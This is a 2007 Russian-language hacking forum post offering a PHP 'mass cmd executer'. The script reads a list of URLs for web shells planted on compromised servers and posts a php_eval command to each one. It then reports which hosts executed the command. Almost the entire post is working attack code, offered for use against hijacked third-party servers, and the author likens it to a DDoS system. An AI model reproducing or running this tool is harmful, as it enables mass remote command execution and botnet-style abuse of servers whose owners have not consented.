Показать сообщение отдельно

rst mass cmd executer by Gh0st
  #5  
Старый 09.12.2007, 14:15
.::Gh0st::.
Гарант Форума
Регистрация: 22.01.2005
Сообщений: 267
С нами: 11209466

Репутация: 1067
Post rst mass cmd executer by Gh0st

для rst шеллов попробуй скрипт:
PHP код:
<?php
//rst mass cmd executer by .::Gh0st::.

//[1]define
$shells = "shells.txt";
$cmd = "id";
//end of [1]

//[2]get shells list
$handle = fopen($shells, "r");
$buffer = fread($handle, filesize($shells));
fclose($handle);
//end of [2]

function post($post , $method, $host, $port, $path, $header)
{
    
$params = "";
    if (
$method == "POST")
    {
        foreach (
$post as $name => $val)
        {
            if (
$params == "")
            {
                
$params = $name."=".$val;
            }
            else
            {
                
$params = $params."&".$name."=".$val;
            }
        }
        
        
$post = "POST ".$path." HTTP/1.0\r\n";
        
$post .= "Host: $host\r\n";
        
$post .= $header;
        
$post .= "Content-Type: application/x-www-form-urlencoded\r\n";
        
$post .= "Content-Length: ".strlen($params)."\r\n\r\n";
        
$post .= "$params\r\n\r\n";
    }
    
$fp = fsockopen($host, $port, $errno, $errstr, 5);
    if(!
$fp){ echo "$errstr ($errno)<br>\n"; }
    else
    {
        
fputs($fp, $post);
        
$result = "";
        while(!
feof($fp)) {    $result .= fgets($fp,128);}
        
fclose($fp);
    }
    return  
$result;
}

$header = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
$header .= "Accept-Encoding: gzip,deflate\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Referer: http://".$host.$path."\r\n";

$post_data = array ("php_eval" => $cmd, "dir" => "", "cmd" => "php_eval", "submit" => "go",);

//sending command
$buffer = explode("\n", $buffer);
for(
$i=0; $i < count($buffer); $i++)
{
    if (!empty(
$buffer[$i]))
    {
        
$shell = explode("/", $buffer[$i]);
        
$host = $shell[2];
        
$dir = preg_split('/http:\/\/|\//i', $buffer[$i], 3);
        
$path = "/".$dir[2];
        
$content = post($post_data, "POST", $host, 80, $path, $header);
        
flush();
        
$pos = strpos($content, 'safe_mode: <b><font color=red>OFF');
        if (
$pos === false)
        {
            echo 
"<center><font color=red>$host not work (maybe save safe_mode=on)</font></center>";
        }
        else
        {
            echo 
"<center><font color=blue>$host</font> command executed</center>";
        }
    }
}
//end of sending command
php?>
работает по принципу cyber ddos system

Последний раз редактировалось .::Gh0st::.; 09.12.2007 в 14:30..
 
Ответить с цитированием